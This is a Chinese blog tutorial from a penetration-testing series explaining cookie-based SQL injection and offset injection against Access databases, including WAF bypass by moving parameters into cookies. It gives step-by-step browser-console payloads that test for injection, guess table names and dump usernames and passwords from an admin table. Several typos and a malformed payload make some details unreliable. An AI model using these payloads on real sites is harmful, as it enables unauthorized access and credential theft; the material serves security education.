网络安全从入门到精通 (第五章-1 )Access注入 — Cookie注入&偏移注入

本文内容:

  • Cookie注入简介
  • Cookie注入的核心
  • 怎么修改Cookie
  • Access数据库注入介绍
  • Cookie注入具体流程
  • 偏移注入使用场景
  • 偏移注入具体流程

 

前言:数据库有很多:

  Mysql、Access、Mssql、Oracle

  不同的数据库,虽然语句蕾西,但是在渗透测试的时候是不同的。

1,Cookie注入简介:

  cookie:就是代表你身份的一串字符串,网站根据Cookie来识别你是谁,如果你获得了管理员的Cookie,你可以无需密码直接登录管理。

  访问网站,协议是:HTTP协议,HTTP协议它是无状态的。

  无状态:就是它不知道是谁访问,所以就设置了Cookie,Cookie就相当于身份证,通过一串字符串代替。

  Cookie它并不安全,没有绝对的安全,用户的体验性和安全是需要平衡的。

2,Cookie注入的核心:

  在很多时候开发人员在开发的时候为了考虑到多种接收传参,在接收传参的时候,都是用很多种方式接收。

  例如:

    PHP中的$_REQUSE[]可以获取POST|GET|COOKIE传参。

    如果说开发用了$_REQUSE来接收参数。

    然后POST和GET传参被waf拦截了,我们就可以尝试Cookie传参,有可能waf没有对Cookie传参进行处理,,那样我们不就可以绕过。

    $_REQUSE php版本低于5.4会接收Xookie传参,所以注入时,也可以先查询一下数据库版本。

3,怎么修改Cooke:

  方法一:

    使用burpsuite抓取数据包,添加一个Cookie字段在请求头里。

    注意:Cookie传参值需要URL编码。

  方法二:

    用js来设置Cookie

    按F12调出浏览器开发者工具,选择Console,打开浏览器的控制台,输入设置js的语句就可以了。

    比如:documnet.cookie="id="+escape("xx")

    escape:是一个编码函数,这个函数会进行一次URL编码。

  方法三:

    F12——Application——Cookies,直接双击修改。

4,Access数据库注入

  Access数据库在判断回显点的时候,必须接一个表名,没有别的库,只有一个库名,不用考虑库名。

  不知道表名:只能靠猜,不过有几个常用的表,比如admin、user、news、job。

  Access数据库,没有系统自带表,想要获取表名和字段名,方法只有靠爆破。

  账号和密码一般在盛行Access数据库的年代,都在admin表的username和password字段中。

  esists:这个函数就是用来检查表名是否存在,原理就是去检查子查询能否查询到数据,如果能,则返回True。

5,Cookie注入的流程:

  例如:

    获取admin表的账号和密码,账号和密码的字段名分别是username、password,输出点是2,3。

  1.判断是否存在注入:

    在URL栏中直接输入and 1=1 和and 1=2

    如果被拦截了,我们就需要测试一下Cookie是否被拦截:

    在浏览器控制台:输入js语句:

      document.cookie="id="+escape("xx and 1=1")

      document.cookie="id="+escape("xx and 1=2")

  2.判断当前页面字段数:
    document.cookie="id="+escape("xx order by 1")

  3.判断想要获取数据的表名:

    document.cookie="id="+escape("xx and (exists(select * from admin))")

  4.查看输出点:

    document.cookie="id="+escape("xx select 1,2,3 from admin")

  5.判断字段名并输入账号和密码:

    document.cookie="id="+escape("xx select 1,username,password from admin")

6,偏移注入使用场景:

  在SQL注入的时候会遇到一些无法查询列名的问题,比如系统自带数据库的权限不够,又猜不到表名、字段名的情况下,我们可以使用偏移注入

  像SQLMAP之类的工具实际上就是爆破字段的名字,但是如果字段名称比较奇葩,工具也就无可奈何了。

  无法查询表名:强行爆破

  无法查询字段名:偏移注入:纵然不知道表名,但是还是可以获取数据的。

  用法:

    admin.*就是admin表里所有的字段。

    select * from admin

    select admin.* from admin

    这两句是一样的。

7,偏移注入的步骤(以Access为例):

  1.判断注入点:

    当在url中输入and 1=1和and1=2时,出现错误提示,说明Get传参被处理了,我们就需要看看Cookie传参是否没有被处理。

    使用js代码在控制台判断。

      document.cookie="id="+escape("xx and 1=1")

      document.cookie="id="+escape("xx and 1=2")

  2.order by 判断字段数:
    documnet.cookie="id="+escape("xx order by 1")

  3.判断表名:

    documnet.cookie="id="+escape("xx and (esists(select * from admin))")

  4.联合查询(判断输出点):

    注意:
      字段数相同

      注入点的表的字段一定要大于查询的表。

      top x取x条数据,一定要降序,才能达到limit的效果。

    documnet. cookie="id="+escape("xx union select 1,2,3...... from admin")

  5.获取表中列数(知道存在几列以及输出点):
    document.cookie="id="+escape("xx union select 1,2,3......from admin")

  6.开始偏移注入:

    documnet.cookie="id="+escape("xx union select 1,2,admin.*, from admin")

  注意:有的输出点可能在网上让一些东西所遮挡住了,所以我们要查看一下网页代码。

 

与君共勉:  

  在光芒万丈之前,

  我们都要欣然接受眼下的难堪和不易,

  接受一个人的孤独和偶尔的无助,

  认真做好眼前的每件事,

  你想要的都会有。

posted @ 2020-04-04 21:44  TheHIde  阅读(384)  评论(0编辑  收藏  举报